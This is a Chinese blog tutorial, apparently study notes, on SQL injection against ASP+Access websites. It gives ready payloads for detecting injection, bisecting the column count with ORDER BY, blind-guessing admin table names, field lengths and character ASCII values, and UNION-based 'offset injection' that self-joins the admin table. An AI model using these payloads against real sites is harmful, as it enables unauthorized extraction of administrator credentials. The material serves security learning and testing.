SQL注入学习--access

SQL注入学习–access

一、access数据库
access数据库没有库只能猜表

二、判断access数据库
access数据库一般采用asp+access

三、判断是否存在注入
1.and判断
and 1=1 页面正确
and 1=2 页面错误
eg:
?id=1513 and 1=1
?id=1513 and 1=2
在这里插入图片描述

2.or判断
or 1=2 页面正常
or 1=1 页面正常
eg:
?id=1513 or 1=2
在这里插入图片描述
?id=1513 or 1=1
在这里插入图片描述
可以看出虽然页面能正常显示,但是图片有所改变,内容显示有误

四、猜测流程
1.猜测字段数
一般使用order by二分法猜测字段数
二分法 从初始字段数猜测,页面显示正确则加倍,错误则减半
eg: 从5开始猜测,order by 5页面显示正确则,翻倍,order by 10又正确,翻倍,order by 20错误,减半order by 15,直到正确猜测到准确数字

2.猜测表明是否存在
主要两种方法
eg:猜测admin表是否存在
and 0<>(select count(*) from admin)
and exists(select * from admin)

3.判断字段是否存在
eg:猜测admin表是否存在admin表
and (select count(*) from admin where len(admin)>0)
and exists(select admin from admin)

4.猜测数据长度
eg:猜测admin表中admin字段的数据长度是否等于5
and (select count(*) from admin where len(admin)=5)
and (select top 1 len(admin) from admin)=5

5.猜测数据字符的ascll值
eg:猜测admin表中admin字段数据中的第一个字符的ascll值
and (select top 1 asc(mid(admin,1,1)) from admin)=97

在这里插入图片描述
五、access偏移注入
以字段数为22为例

一级偏移
用一个一个*代替直到回显正确 22-16=6,代表admin有5个字段 22-6*2=10构造新语句
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from (admin as a inner join admin as b on a.id = b.id)

二级偏移
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值